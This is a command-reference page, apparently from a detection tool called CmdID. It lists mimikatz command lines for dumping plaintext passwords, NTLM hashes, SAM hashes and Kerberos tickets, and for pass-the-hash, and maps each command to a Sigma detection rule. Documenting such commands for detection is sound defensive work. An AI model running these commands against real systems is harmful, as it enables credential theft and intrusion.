CmdID

CmdID / Commands

mimikatz

Interact with Windows credentials, perform credential dumping, token manipulation, and more. tldr-pages

On Windows

Opens CmdID with your command. It is read in your browser and sent nowhere.

Windows

from tldr-pages, CC BY 4.0

Interact with Windows credentials, perform credential dumping, token manipulation, and more. Requires administrator privileges and typically runs on Windows.

Run mimikatz in interactive mode

mimikatzIdentify

Trips 1 Sigma rule: highHackTool - Mimikatz Execution by Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton

Enable debug privileges (needed for most operations)

mimikatz "privilege::debug"Identify

Trips 1 Sigma rule: highHackTool - Mimikatz Execution by Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton

Dump plaintext passwords, NTLM hashes, and Kerberos tickets from memory

mimikatz "sekurlsa::logonpasswords"Identify

Trips 1 Sigma rule: highHackTool - Mimikatz Execution by Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton

Pass-the-Hash with a specific NTLM hash and launch a command

mimikatz "sekurlsa::pth /user:username /domain:domain /ntlm:hash /run:cmd"Identify

Trips 1 Sigma rule: highHackTool - Mimikatz Execution by Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton

Dump local SAM database hashes

mimikatz "lsadump::sam"Identify

Trips 1 Sigma rule: highHackTool - Mimikatz Execution by Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton

Extract Kerberos tickets and export to a file

mimikatz "kerberos::list /export"Identify

Trips 1 Sigma rule: highHackTool - Mimikatz Execution by Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton

[Interactive] Exit mimikatz